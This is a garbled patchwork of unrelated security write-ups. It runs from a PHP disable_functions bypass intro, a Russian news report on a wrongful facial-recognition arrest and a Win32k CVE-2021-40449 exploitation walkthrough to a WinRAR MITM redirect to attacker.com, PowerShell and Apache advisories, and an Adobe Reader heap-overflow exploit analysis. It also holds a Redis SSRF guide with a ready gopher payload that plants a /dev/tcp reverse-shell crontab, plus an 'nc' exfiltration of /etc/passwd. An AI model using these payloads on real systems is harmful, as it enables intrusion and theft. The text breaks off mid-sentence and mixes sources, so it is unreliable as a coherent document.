This exploit uses a bug reported over 10 years ago. As usual, the PoC was tested on various php builds for Debian/Ubuntu/CentOS/FreeBSD with cli/fpm/apache2 server APIs and found to work reliably.
Targets
5.* — exploitable with minor changes to the PoC 7.0 — all versions to date 7.1 — all versions to date 7.2 — all versions to date 7.3 — all versions to date 7.4 — all versions to date 8.0 — all versions to date Fix
Stop relying on disable_functions (or any other php.ini settings) for security.
Post scriptum
There are many memory corruption vulnerabilities in PHP — some of them are publicly known, others are not. Regardless, PHP devs don’t care much about these, as you can see in the bug reports.
This PoC is for demonstration purposes only. The exploits that could’ve been developed/used during the past decade might be not.
Description:
The attached code shows a serious memory corruption (either crash or abort by glibc). I think I reported a similar testcase before (using filter) but the crash/corruption seemed different and I think it was not user_filter related, so it’s not clear if this is a duplicate or not.
The detective story with the participation of the 36-year-old director, Ph.D. Fedor Yermoshin had its continuation: a young man, mistakenly, but at the same time harshly detained by police officers, since the face recognition system «saw» a criminal in him, intends to understand what happened and has already taken a number of actions …
The day before, the face recognition system identified a criminal thief in Yarmoshin with a 70% probability, after which three unknown persons actually kidnapped him near the entrance of his own house in Odintsovo near Moscow. As it turned out later, these were police officers of the Strogino metropolitan area. Subsequently, they established that the director was not involved in the crime and released him, but he had to go to the emergency room. MK contacted Fyodor Ermoshin and found out what the young man was doing after such an atypical incident.
“After I recorded the beatings, I wrote a statement to the prosecutor’s office. The department said to expect a response with a legal assessment within 30 days.
I also turned to State Duma Deputy Sergei Shargunov, who made a deputy inquiry addressed to the Prosecutor General of the Russian Federation. Therefore, I am waiting for an answer from this side.
In addition, I filed a statement with the Odintsovo police, because I was detained in Odintsovo, and taken to Strogino. Yes, they were the Moscow police: as it turned out, they thought that the man they suspect of stealing the set-top boxes had appeared in Odintsovo. Although, logically, they should have taken me, as I understood later, to the Odintsovo Department of Internal Affairs, but nevertheless, for some reason, they were taken to Strogino.
And a very important point: I spoke with the employees of the internal security department, who arrived the day after the incident in Odintsovo and asked for a meeting. They were very tactful people who questioned me in detail and wrote down the minutes from my words. They said that they are conducting their own investigation, the results of which I will be notified. In addition, he conducts an inspection of the Ministry of Internal Affairs, «Fyodor Yermoshin told MK.
So far, according to the director, he has not taken any other action and has not yet hired a lawyer. However, he is sure that he will still need legal defense, therefore he is at the stage of making a decision on this issue.
Regarding the apologies from the police, who actually put an innocent person face down on the asphalt, Yermoshin commented on the following: “The only apology that sounded in the police department was:“ Well, sorry, take your passport from the window! ” I reflected this in all protocols. In my opinion, everything should have been wrong somehow.
I believe that the most important thing in this situation is that this does not happen to anyone else, so that they simply change their attitude towards people! Because the way it happened to me is lawlessness, when you simply do not understand — someone is kidnapping you or it is law enforcement officers! After all, the conversation was conducted in such a way that it is absolutely not clear what they want from you. «
Now Fedor Yermoshin asserts from his own experience how imperfect the face recognition system is and how unprofessional the actions of police officers are: “In the comments they write to me that similar incidents have happened to other people too. It turns out that 70% of me had to be left with the police, and 30% of me could go home. Because I was 70% the same in the photo with the criminal.
They told me so bluntly, they say, listen, well, straight out, the cheekbones are the same, the glasses are the same … But I saw these photos, and there, in my opinion, the only coincidence is white clothes and glasses. In principle, with the naked eye you can see that different people are, and if you wanted to, you could immediately be convinced of this. But it turned out to be absolutely insanity … In this story, I would say, there are two aspects: the first — that the computer was mistaken, and the second — that you need to have your own brains and behave adequately, ”Yermoshin summed up.
According to human rights activist Anatoly Korovin, the actions of police officers against Fyodor Yermoshin are illegal, since “it is nonsense to twist hands, handcuff and take a person away in an unknown direction.” In the commentary to MK, Korovin noted that such cases are not isolated, and that the director has certain judicial prospects: “Yermoshin needs to go to court, and he may satisfy his demands.
By the way, I have already been contacted by citizens who were mistakenly detained by the face recognition system. Just the other day, a woman who came to Moscow from the Moscow region addressed: she was detained at the Komsomolskaya metro station, confused with a missing person on the federal wanted list. They kept her for more than an hour, however, the police behaved much softer with her than with Yermoshin, because in their understanding she was not a criminal, but a missing person. She does not want to comment on this in the media. The fact that the case with the director is not an isolated one is a fact. «
CVE-2021-40449 is a use-after-free in Win32k that allows for local privilege escalation.
The vulnerability was found in the wild by Kaspersky.
The discovered exploit was written to support the following Windows products:
Microsoft Windows Vista
Microsoft Windows 7
Microsoft Windows 8
Microsoft Windows 8.1
Microsoft Windows Server 2008
Microsoft Windows Server 2008 R2
Microsoft Windows Server 2012
Microsoft Windows Server 2012 R2
Microsoft Windows 10 (build 14393)
Microsoft Windows Server 2016 (build 14393)
Microsoft Windows 10 (build 17763)
Microsoft Windows Server 2019 (build 17763)
However, this exploit is current only tested on the following versions:
Microsoft Windows 10 (build 14393)
Microsoft Windows 10 (build 17763)
Technical Writeup
I highly recommend reading Kaspersky’s technical writeup before proceeding.
As mentioned in the technical writeup by Kasperky, the vulnerability exists in
GreResetDCInternal
. If an attacker hooks the user-mode callback
DrvEnablePDEV
, which is called during
hdcOpenDCW
, it is possible to destroy the original device context by calling
ResetDC
, which causes a use-after-free in the kernel when the user-mode callback returns.
The following pseudo-code is made partially from the leaked Windows XP source code and by reverse-engineering the latest (before the patch)
GreResetDCInternal
from
Win32kfull.sys
. The irrelevant parts have been removed with
[...]
. Look for the
VULN:
comments.
BOOL GreResetDCInternal(
HDC hdc,
DEVMODEW *pdmw,
BOOL *pbBanding,
DRIVER_INFO_2W *pDriverInfo2,
PVOID ppUMdhpdev)
{
// [...]
HDC hdcNew;
{
// Create DCOBJ from HDC
DCOBJ dco(hdc);
if (!dco.bValid())
{
SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
}
else
{
// Create DEVOBJ from `dco`
PDEVOBJ po(dco.hdev());
// [...]
// Create the new DC
// VULN: Can result in a usermode callback that destroys old DC, which
// invalidates `dco` and `po`
hdcNew = hdcOpenDCW(L"",
pdmw,
DCTYPE_DIRECT,
po.hSpooler,
prton,
pDriverInfo2,
ppUMdhpdev);
if (hdcNew)
{
po->hSpooler = NULL;
DCOBJ dcoNew(hdcNew);
if (!dcoNew.bValid())
{
SAVE_ERROR_CODE(ERROR_INVALID_HANDLE);
}
else
{
// Transfer any remote fonts
dcoNew->pPFFList = dco->pPFFList;
dco->pPFFList = NULL;
// Transfer any color transform
dcoNew->pCXFList = dco->pCXFList;
dco->pCXFList = NULL;
PDEVOBJ poNew((HDEV)dcoNew.pdc->ppdev());
// Let the driver know
// VULN: Method is taken from old (possibly destroyed) `po`
PFN_DrvResetPDEV rfn = po->ppfn[INDEX_DrvResetPDEV];
if (rfn != NULL)
{
(*rfn)(po->dhpdev, poNew->dhpdev);
}
// [...]
}
}
}
}
// Destroy old DC
// [...]
}
As can be seen from the pseudo-code, the old device context can be freed in a user-mode callback from the
hdcOpenDCW
call, and later on, the method
DrvResetPDEV
is retrieved from the old device context and called with
(po->dhpdev, poNew->dhpdev)
.
To create and hook a device context, one can do the following:
Find an available printer with
EnumPrinters
Load the printer driver into memory with
OpenPrinter
,
GetPrinterDriver
and
LoadLibraryExA
Get the printer driver’s user-mode callback table with
GetProcAddress
and
DrvEnableDriver
Unprotect the printer driver’s user-mode callback table with
VirtualProtect
Overwrite the printer driver’s desired user-mode callback table entries
Create a device context for the printer with
CreateDC(NULL, printerName, NULL, NULL)
We should now have a device context for a printer with hooked user-mode callbacks.
We’re interested in only one hook, namely
DrvEnablePDEV
. This hook is interesting in two aspects: triggering the UAF and controlling the arguments, as described earlier. To trigger the UAF vulnerability, we will call
ResetDC
inside of the hook, which will destroy the old device context. When we return from the hook, we will still be inside the first
GreResetDCInternal
, which will shortly after get and call the function pointer for
DrvResetPDEV
from our old and destroyed device context with the two arguments that got returned from
DrvEnablePDEV
; the old and the new
DHPDEV
.
If your process is running with a medium integrity level, KASLR should not be an issue with the help of
EnumDeviceDrivers
and
NtQuerySystemInformation
.
Kaspersky mentions that the original exploit used GDI palette objects and a single kernel function call to achieve arbitrary memory read/write. This exploit uses a technique to allocate a BitMapHeader on the big pool and
RtlSetAllBits
to enable all privileges on our current process token. The
BitMapHeader
will point to our current process token’s
_SEP_TOKEN_PRIVILEGES
. By calling
RtlSetAllBits(BitMapHeader)
, it’s possible to enable all privileges for our current process token with a single kernel function call. From here, one can abuse the new privileges to get SYSTEM. This exploit uses
In this article we discuss a vulnerability in the trial version of WinRAR which has significant consequences for the management of third-party software. This vulnerability allows an attacker to intercept and modify requests sent to the user of the application. This can be used to achieve Remote Code Execution (RCE) on a victim’s computer. It has been assigned the CVE ID – CVE-2021-35052.
Background
WinRAR is an application for managing archive files on Windows operating systems. It allows for the creation and unpacking of common archive formats such as RAR and ZIP. It is distributed as trialware, allowing a user to experience the full features of the application for a set number of days. After which a user may continue to use the applications with some features disabled.
Findings
We found this vulnerability by chance, in WinRAR version 5.70. We had installed and used the application for some period, when it produced a JavaScript error:
Error that indicates WebBrowser JS parser inside of WinRAR
This was surprising as the error indicates that the Internet Explorer engine is rendering this error window.
After a few experiments, it became clear that once the trial period has expired, then about one time out of three launches of WinRAR.exe application result in this notification window being shown. This window uses mshtml.dll implementation for Borland C++ in which WinRAR has been written.
We set up our local Burp Suite as a default Windows proxy and try to intercept traffic and to understand more about why this was happening and whether it would be possible to exploit this error. As the request is sent via HTTPS, the user of WinRAR will get a notification about the insecure self-signed certificate that Burp uses. However, in experience, many users click “Yes” to proceed, to use the application.
Additional alert that the user gets during the MiTM attack
Looking at the request itself, we can see the version (5.7.0) and architecture (x64) of the WinRAR application:
Next, we attempted to modify intercepted responses from WinRAR to the user. Instead of intercepting and changing the default domain “notifier.rarlab.com” responses each time with our malicious content, we noticed that if the response code is changed to “301 Moved Permanently” then the redirection to our malicious domain “attacker.com” will be cached and all requests will go to the “attacker.com”.
HTTP/1.1 301 Moved Permanently
content-length: 0
Location: http://attacker.com/?language=English&source=RARLAB&landingpage=expired&version=570&architecture=64
connection: close
Remote Code Execution
This Man-in-the-Middle attack requires ARP-spoofing, so we presume that a potential attacker already has access to the same network domain. This will put us into Zone 1 of the IE security zones. We attempted several different attack vectors to see what is feasible with this kind of access.
The code above depicts the spoofed response showing several possible attack vectors such as running applications, retrieving local host information, and running the calculator application.
Pop-up with links to run various applications and open system filesSuccessful execution of the calculator application in Windows
Most of the attack vectors were successful but it should be noted that many result in an additional Windows security warning. For these to be a success, the user would need to click “Run” instead of “Cancel”.
Additional Windows security warning that appears when running certain types of files
However, there are some file types that can be run without the security warning appearing. These are:
• .DOCX • .PDF • .PY • .RAR
Remote code execution is possible with RAR files in WinRAR against versions earlier than 5.7. This can be done via a well-known exploit, CVE-2018-20250.
Conclusion
One of the biggest challenges an organization faces is the management of third-party software. Once installed, third-party software has access to read, write, and modify data on devices which access corporate networks. It’s impossible to audit every application that could be installed by a user and so policy is critical to managing the risk associated with external applications and balancing this risk against the business need for a variety of applications. Improper management can have wide reaching consequences.
Microsoft has asked system administrators to patch PowerShell 7 against two vulnerabilities allowing attackers to bypass Windows Defender Application Control (WDAC) enforcements and gain access to plain text credentials.
PowerShell is a cross-platform solution that provides a command-line shell, a framework, and a scripting language focused on automation for processing PowerShell cmdlets.
Redmond released PowerShell 7.0.8 and PowerShell 7.1.5 to address these security flaws in the PowerShell 7 and PowerShell 7.1 branches in September and October.
Leaked passwords and WDAC bypass
WDAC is designed to protect Windows devices against potentially malicious software by ensuring that only trusted apps and drivers can run, thus blocking malware and unwanted software from launching.
When the software-based WDAC security layer is enabled in Windows, PowerShell automatically goes into constrained language mode, restricting access to only a limited set of Windows APIs.
By exploiting the Windows Defender Application Control security feature bypass vulnerability tracked as CVE-2020-0951, threat actors can circumvent WDAC’s allowlist, which allows them to execute PowerShell commands that would otherwise be blocked when WDAC is enabled.
«To exploit the vulnerability, an attacker need administrator access on a local machine where PowerShell is running. The attacker could then connect to a PowerShell session and send commands to execute arbitrary code,» Microsoft explains.
The second flaw, tracked as CVE-2021-41355, is an information disclosure vulnerability in .NET Core where credentials could be leaked in clear text on devices running non-Windows platforms.
«An Information Disclosure vulnerability exists in .NET where System.DirectoryServices.Protocols.LdapConnection may send credentials in plain text on non-Windows Operating systems,» Microsoft said.
How to tell if you are affected
The CVE-2020-0951 vulnerability affects both PowerShell 7 and PowerShell 7.1 versions, while CVE-2021-41355 only impacts users of PowerShell 7.1.
To check the PowerShell version you are running and determine if you are vulnerable to attacks exploiting these two bugs, you can execute the
pwsh -v
command from a Command Prompt.
Microsoft says no mitigation measures are currently available to block the exploitation of these security flaws.
Admins are advised to install the updated PowerShell 7.0.8 and 7.1.5 versions as soon as possible to protect systems from potential attacks.
«System administrators are advised to update PowerShell 7 to an unaffected version,» Microsoft added. Details on what PowerShell versions are affected and the fixed versions can be found here and here.
In July, Microsoft warned of another high severity .NET Core remote code execution vulnerability in PowerShell 7.
Microsoft recently announced that it would be making it easier to update PowerShell for Windows 10 and Windows Server customers by releasing future updates via the Microsoft Update service.
Redis is an in-memory data structure store that is used to store data in the form of key-values and can be used as a database, serialized/session storage, cache, and job queue.
For example in Framework Django and Flask, Redis can be used as the session instance or in Gitlab using Redis as the Job queue.
Redis uses a
Text Based line protocol
so it can be accessed using
telnet
or
netcat
without the need for special software to access Redis instances, but Redis has an official client software called
redis-cli
.
Redis Support 2 types of command :
1. Non—RESP (REdis Serialization Protocol) format by using Space as a separator.
2. RESP format, this format is more recommended (because it is standard for Redis Request/Response ), besides that using this format will avoid syntax errors if there are special characters such as quotation marks ( “ ) in Redis request.
Redis Command
Redis Persistence
Redis stores data in memory, so when the server is restarted the data will be lost because RAM is volatile storage, to avoid this problem Redis has a Persistence feature, which will save data to the hard disk.
Redis provides two types of persistence :
RDB (Redis Database Backup) which will save data to the hard disk every time the “
SAVE
” command is executed, and
AOF (Append Only File) will save data to the hard disk every time it performs an operation (basically its function just like Bash Shell which saved command history to
.bash_history
every time the command is executed successfully).
Redis configuration parameters for persistence
AOF is not a good option to do file writing (In the context of SSRF in this blog post), because Redis does not allow AOF filename changes (by default: appendonly.aof) using the
CONFIG SET
command (during Runtime), but must be done directly by editing the file
redis.conf
.
Redis Exploit
The last exploit to impact Redis was the Redis EVAL Lua Sandbox Escape — CVE-2015–4335 discovered by Ben Murphy. However, this issue has been fixed from Redis version 2.8.21 and 3.0.2.
At the time of writing this blog post, there is no Exploit to directly get RCE on Redis instances, but attackers can take advantage of the “persistence” feature or maybe take advantage of Unsafe Serialization from the related application so that it can be used as a technique to get RCE. Also, there is “Redis post-exploitation” discovered Pavel Toporkov to get RCE on Redis Instance.
Redis Vs HTTP
Redis and HTTP are both Text-Based Protocols, so HTTP can be used to access Redis, but because it has the potential to cause security issues, since the release of Redis 3.2.7 which makes HTTP Header
HOST
and
POST
as aliases for the QUIT command and then logs with messages “Possible SECURITY ATTACK detected. It looks like somebody is sending POST or Host: commands to Redis. This is likely due to an attacker attempting to use Cross Protocol Scripting to compromise your Redis instance. Connection aborted.” is generated to Redis log.
If you want to force HTTP to communicate with Redis ≥ 3.2.7, you need SSRF (GET Method) + CRLF Injection in the GET parameter section. In order to avoid the POST, and CRLF Injection keywords, the HOST Header will be in a position after the Redis command.
Trivia: Alias POST to QUIT was created based on a suggestion from a member of the news.ycombinator.com forum, geocar.
Every Payload generated by payload_redis.py in this blog post, will be input as a URL in the SSRF Lab Web, so there is no need for screenshots of the attack process to the Lab. This information is given so that there is no confusion about how to attack.
By default, Redis runs with the low privilege of being the user ‘redis’. In the Lab, we used root privileges to be able to write crontab and authorized_key ssh, because the user ‘redis’ does not have permission to write to both files.
Redis And SSRF
Redis — Cron
Cron is a task scheduler on Linux, cron will execute the command that is set using the
crontab
command periodically according to the set time.
Cron stores crontab files in
/var/spool/cron/<Username>
(Centos),
/var/spool/cron/crontabs/<Username>
(Ubuntu) and System Wide crontabs are in
/etc/crontabs
.
The lab will use 2 different OS because there is a slight difference in behavior between cron on Centos and Ubuntu.
$ python payload_redis.py cron
Reverse IP >
Port >
Centos/Ubuntu (Default Centos)
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A
%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2477%0D%0A%0A
%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20/bin/bash%20-c%20%27sh%20-i%20%3E
%26%20/dev/tcp/b%27XXX.XXX.XXX.XXX%27/8080%200%3E%261%27%0A%0A%0D%0A%
2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A
%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243
%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D
%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
Ubuntu Lab
Redis will write the file with 0644 permission, while the crontab file on ubuntu is expected to have 0600 permission so it will give a warning in the system log.
In addition, there are dummy data in the Redis RDB file which causes cron to ignore the crontab file because there is invalid syntax, so even if the crontab file has 0600 permissions it will not be executed.
Cron Syntax Error
Writing crontab files with Redis through SSRF will not work properly in Ubuntu , because crontab files in Ubuntu are expected to have 0600 permission to be executable and clean of dummy data that cause syntax errors.
Centos Lab
On Centos even though the crontab file has permissions 0644 and there is dummy data, cron will still be executed so that it can get a reverse shell.
Redis — SSH Public Key
Authorized_keys is used to store a list of SSH public keys so that users log in using the SSH private-public key pair instead of a password. Authorized_keys are located in
$HOME/.ssh/authorized_keys
If
$HOME/.ssh/authorized_keys
is writable, this can be used to store the attacker’s SSH keys.
Both Ubuntu and Centos Lab ssh can be accessed even though dummy data is present.
SSH ke Ubuntu Lab
Redis As Session Storage
Backend servers often time use Redis as Session Storage, in the Redis web lab session storage will focus on exploiting Unsafe Serialialization, because Sessions are usually in the form of objects, and so that these objects can be stored to Redis, Session objects must be converted into strings. The process of converting objects into strings is called “Serialization” and the process of converting strings into objects is called “Deserialization”.
The lab implements Redis as Session Storage using sample snippets from Server-side Sessions with Redis and Pickle is used as Serializer, pickle is known to be insecure and can be exploited to get RCE.
The attack flow is quite simple, we only need to change the session value with the Payload Pickle through SSRF. According to the logic in the source code, the session will be serialized and base64 encoded.
To be able to change the session value stored in Redis, you need a Key name, in this lab, the session will be stored with the name
session:<session_id>
Inspecting Stored Value In Redis Using redis-cli
We can see the Session-Id using the default web browser features called developer tools
Trivia: Flask Internal
When the request is about to end or when the views return, Flask will internally call the
finalize_request
method, then in the
finalize_request
method there is another call to the
process_response
method which calls
save_session
from the
session_interface
class, the
save_session
method will save the value of the session (in the context of this blog post, the session value will be saved to Redis).
Why is this information important? because when we try to change the value of the flask session in Redis through SSRF, the value we managed to change through SSRF earlier will be overwritten back with the original value.
There are at least 3 scenarios that can be done to archive RCE at the Pickle-Redis Lab :
When the SSRF payload is executed, we simultaneously access other endpoints, eg
/login
(this method can use multithreading/multiprocessing) because when accessing other endpoints, Flask will call the
open_session
method of the
session_interface
class, then retrieve the session value (so avoid
save_session
).
Change the value of the Session-Id, then write the Payload Pickle to the Modified Session-Id, for example the Session Id is AAAA-AAAA-AAAA-AAAA, we can change it to AAAA-AAAA-AAAA-AAAB for example, then set AAAA-AAAA- AAAA-AAAB as Key, later just use AAAA-AAAA-AAAA-AAAB on the client side so that Flask reads the value of the Session Id.
Using the Master-Slave Redis feature (trigger through SSRF with the
SLAVEOF
command), then change the value directly through the Master, because any changes that occur in the Master will be automatically synced to the Slave.
Note : Original Session-Id session:8ac1cb48–5064–4067–9e43-ed0df6856426 changed to session:8ac1cb48–5064–4067–9e43-ed0df6856425
Rce Result, cat /etc/passwd | nc IP PORT
Redis Master-Slave RCE
This post-exploit technique is introduced by Pavel Toporkov.
Info: I will write a separate blog post to explain more about this post-exploit technique.
Redis As Job Queue
An example of using Redis as a Job Queue to get RCE can refer to LiveOverFlow Video.https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FLrLJuyAdoAg%3Ffeature%3Doembed&display_name=YouTube&url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DLrLJuyAdoAg&image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FLrLJuyAdoAg%2Fhqdefault.jpg&key=a19fcc184b9711e1b4764040d3dc5c07&type=text%2Fhtml&schema=youtubeGitLab 11.4.7 Remote Code Execution — Real World CTF 2018
Trivia : Redis Protected Mode
If Redis is not in Protected Mode, the Redis instance will be exposed on the outside network/internet, which is even worse if the Redis instance does not use authentication, causing people to arbitrarily access the Redis instance.
Searching Exposed Redis Intance At SHODANAccessing Exposed Redis Instance
The Apache Software Foundation on Thursday released additional security updates for its HTTP Server product to remediate what it says is an «incomplete fix» for an actively exploited path traversal and remote code execution flaw that it patched earlier this week.
CVE-2021-42013, as the new vulnerability is identified as, builds upon CVE-2021-41773, a flaw that impacted Apache web servers running version 2.4.49 and involved a path normalization bug that could enable an adversary to access and view arbitrary files stored on a vulnerable server.
Although the flaw was addressed by the maintainers in version 2.4.50, a day after the patches were released it became known that the weakness could also be abused to gain remote code execution if the «mod_cgi» module was loaded and the configuration «require all denied» was absent, prompting Apache to issue another round of emergency updates.
«It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives,» the company noted in an advisory. «If files outside of these directories are not protected by the usual default configuration ‘require all denied’, these requests can succeed. If CGI scripts are also enabled for these aliased paths, this could allow for remote code execution.»
Apache credited Juan Escobar from Dreamlab Technologies, Fernando Muñoz from NULL Life CTF Team, and Shungo Kumasaka for reporting the vulnerability. In light of active exploitation, users are highly recommended to update to the latest version (2.4.51) to mitigate the risk associated with the flaw.
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) said it’s «seeing ongoing scanning of vulnerable systems, which is expected to accelerate, likely leading to exploitation,» urging «organizations to patch immediately if they haven’t already.»
In late June, we published a blog post containing analysis of exploitation of a heap-buffer overflow vulnerability in Adobe Reader, a vulnerability that we thought corresponded to CVE-2021-21017. The starting point for the research was a publicly posted proof-of-concept containing root-cause analysis. Soon after publishing the blog post, we learnt that the CVE was not authoritative and that the publicly posted proof-of-concept was an 0day, even if the 0day could not be reproduced in the patched version. We promptly pulled the blog post and began investigating.
Further research showed that the vulnerability continued to exist in the latest version and was exploitable with only a few changes to our exploit. We reported our findings to Adobe. Adobe assigned CVE-2021-39863 to this vulnerability and released an advisory and patched versions of their products on September 14th, 2021.
Since the exploits were very similar, this post largely overlaps with the blog post previously removed. It analyzes and exploits CVE-2021-39863, a heap buffer overflow in Adobe Acrobat Reader DC up to and including version 2021.005.20060.
This post is similar to our previous post on Adobe Acrobat Reader, which exploits a use-after-free vulnerability that also occurs while processing Unicode and ANSI strings.
Overview
A heap buffer-overflow occurs in the concatenation of an ANSI-encoded string corresponding to a PDF document’s base URL. This occurs when an embedded JavaScript script calls functions located in the IA32.api module that deals with internet access, such as this.submitForm and app.launchURL. When these functions are called with a relative URL of a different encoding to the PDF’s base URL, the relative URL is treated as if it has the same encoding as the PDF’s path. This can result in the copying twice the number of bytes of the source ANSI string (relative URL) into a properly-sized destination buffer, leading to both an out-of-bounds read and a heap buffer overflow.
CVE-2021-39863
Acrobat Reader has a built-in JavaScript engine based on Mozilla’s SpiderMonkey. Embedded JavaScript code in PDF files is processed and executed by the EScript.api module in Adobe Reader.
Internet access related operations are handled by the IA32.api module. The vulnerability occurs within this module when a URL is built by concatenating the PDF document’s base URL and a relative URL. This relative URL is specified as a parameter in a call to JavaScript functions that trigger any kind of Internet access such as this.submitForm and app.launchURL. In particular, the vulnerability occurs when the encoding of both strings differ.
The concatenation of both strings is done by allocating enough memory to fit the final string. The computation of the length of both strings is correctly done taking into account whether they are ANSI or Unicode. However, when the concatenation occurs only the base URL encoding is checked and the relative URL is considered to have the same encoding as the base URL. When the relative URL is ANSI encoded, the code that copies bytes from the relative URL string buffer into the allocated buffer copies it two bytes at a time instead of just one byte at a time. This leads to reading a number of bytes equal to the length of the relative URL from outside the source buffer and copying it beyond the bounds of the destination buffer by the same length, resulting in both an out-of-bounds read and an out-of-bounds write vulnerability.
Code Analysis
The following code blocks show the affected parts of methods relevant to this vulnerability. Code snippets are demarcated by reference marks denoted by [N]. Lines not relevant to this vulnerability are replaced by a [Truncated] marker.
All code listings show decompiled C code; source code is not available in the affected product. Structure definitions are obtained by reverse engineering and may not accurately reflect structures defined in the source code.
The following function is called when a relative URL needs to be concatenated to a base URL. Aside from the concatenation it also checks that both URLs are valid.
The function listed above receives as parameters a string corresponding to a base URL and a string corresponding to a relative URL, as well as two pointers used to return data to the caller. The two string parameters are shown in the following debugger output.
The debugger output shown above corresponds to an execution of the exploit. It shows the contents of the first and second parameters (esp+4 and esp+8) of the function sub_25817D70. The first parameter contains a Unicode-encoded base URL https://google.com/ (notice the 0xfeff bytes at the start of the string), while the second parameter contains an ASCII string corresponding to the relative URL. Both contain a number of repeated bytes that serve as padding to control the allocation size needed to hold them, which is useful for exploitation.
At [1] a check is made to ascertain whether the second parameter (i.e. the base URL) is a valid Unicode UTF-16BE encoded string. If it is valid, the length of that string is calculated at [2] and stored in v78[1]. If it is not a valid UTF-16BE encoded string, v78[1] is set to 0 at [3]. The function that calculates the Unicode string length, sub_2581890C(), performs additional checks to ensure that the string passed as a parameter is a valid UTF-16BE encoded string. The following listing shows the decompiled code of this function.
int __cdecl sub_2581890C(char *a1)
{
char *v1; // eax
char v2; // cl
int v3; // esi
char v4; // bl
char *v5; // eax
int result; // eax
v1 = a1;
if ( !a1 || *a1 != (char)0xFE || a1[1] != (char)0xFF )
goto LABEL_12;
v2 = 0;
v3 = 0;
do
{
v4 = *v1;
v5 = v1 + 1;
if ( !v5 )
break;
v2 = *v5;
v1 = v5 + 1;
if ( !v4 )
goto LABEL_10;
if ( !v2 )
break;
v3 += 2;
}
while ( v1 );
if ( v4 )
goto LABEL_12;
LABEL_10:
if ( !v2 )
result = v3;
else
LABEL_12:
result = -1;
return result;
}
The code listed above returns the length of the UTF-16BE encoded string passed as a parameter. Additionally, it implicitly performs the following checks to ensure the string has a valid UTF-16BE encoding:
The string must terminate with a double null byte.
The words composing the string that are not the terminator must not contain a null byte.
If any of the checks above fail, the function returns -1.
Continuing with the first function mentioned in this section, at [4] the same checks already described are applied to the first parameter (i.e. the relative URL). At [5] the length of the Source variable (i.e. the base URL) is calculated taking into account its encoding. The function sub_25802A44() is an implementation of the strlen() function that works for both Unicode and ANSI encoded strings. At [6] an allocation of the size of the Source variable is performed by calling the function sub_25802CD5(), which is an implementation of the known calloc() function. Then, at [7], the contents of the Source variable are copied into this new allocation using the function sub_25802D98(), which is an implementation of the strncpy function that works for both Unicode and ANSI encoded strings. These operations performed on the Source variable are equally performed on the lpString variable (i.e. the relative URL) at [8], [9], and [10].
The function at [11], sub_25802400(), receives a URL or a part of it and performs some validation and processing. This function is called on both base and relative URLs.
At [12] an allocation of the size required to host the concatenation of the relative URL and the base URL is performed. The lengths provided are calculated in the function called at [11]. For the sake of simplicity it is illustrated with an example: the following debugger output shows the value of the parameters to sub_25802CD5 that correspond to the number of elements to be allocated, and the size of each element. In this case the size is the addition of the length of the base and relative URLs.
Afterwards, at [13] the base URL is copied into the memory allocated to host the concatenation and at [14] its length is calculated and provided as a parameter to the call to sub_25818C6A. This function implements string concatenation for both Unicode and ANSI strings. The call to this function at [14] provides the base URL as the first parameter, the relative URL as the second parameter and the expected full size of the concatenation as the third. This function is listed below.
int __cdecl sub_sub_25818C6A(char *Destination, char *Source, int a3)
{
int result; // eax
int pExceptionObject; // [esp+10h] [ebp-4h] BYREF
In the above listing, at [15] the length of the destination string is calculated. It then checks if the length of the destination string plus the length of the source string is less or equal than the desired concatenation length minus one. If the check passes, the function sub_258189D6 is called at [16]. Otherwise the strncat function at [17] is called.
The function sub_258189D6 called at [16] implements the actual string concatenation that works for both Unicode and ANSI strings.
In the function listed above, at [18] the first parameter (the destination) is checked for the Unicode BOM marker 0xFEFF. If the destination string is Unicode the code proceeds to [19]. There, the source string is appended at the end of the destination string two bytes at a time. If the destination string is ANSI, then the known lstrcatA function is called at [20].
It becomes clear that in the event that the destination string is Unicode and the source string is ANSI, for each character of the ANSI string two bytes are actually copied. This causes an out-of-bounds read of the size of the ANSI string that becomes a heap buffer overflow of the same size once the bytes are copied.
Exploitation
We’ll now walk through how this vulnerability can be exploited to achieve arbitrary code execution.
Adobe Acrobat Reader DC version 2021.005.20048 running on Windows 10 x64 was used to develop the exploit. Note that Adobe Acrobat Reader DC is a 32-bit application. A successful exploit strategy needs to bypass the following security mitigations on the target:
Address Space Layout Randomization (ASLR)
Data Execution Prevention (DEP)
Control Flow Guard (CFG)
The exploit does not bypass the following protection mechanisms:
Control Flow Guard (CFG): CFG must be disabled in the Windows machine for this exploit to work. This may be done from the Exploit Protection settings of Windows 10, setting the Control Flow Guard (CFG) option to Off by default.
In order to exploit this vulnerability bypassing ASLR and DEP, the following strategy is adopted:
Prepare the heap layout to allow controlling the memory areas adjacent to the allocations made for the base URL and the relative URL. This involves performing enough allocations to activate the Low Fragmentation Heap bucket for the two sizes, and enough allocations to entirely fit a UserBlock. The allocations with the same size as the base URL allocation must contain an ArrayBuffer object, while the allocations with the same size as the relative URL must have the data required to overwrite the byteLength field of one of those ArrayBuffer objects with the value 0xffff.
Poke some holes on the UserBlock by nullifying the reference to some of the recently allocated memory chunks.
Trigger the garbage collector to free the memory chunks referenced by the nullified objects. This provides room for the base URL and relative URL allocations.
Trigger the heap buffer overflow vulnerability, so the data in the memory chunk adjacent to the relative URL will be copied to the memory chunk adjacent to the base URL.
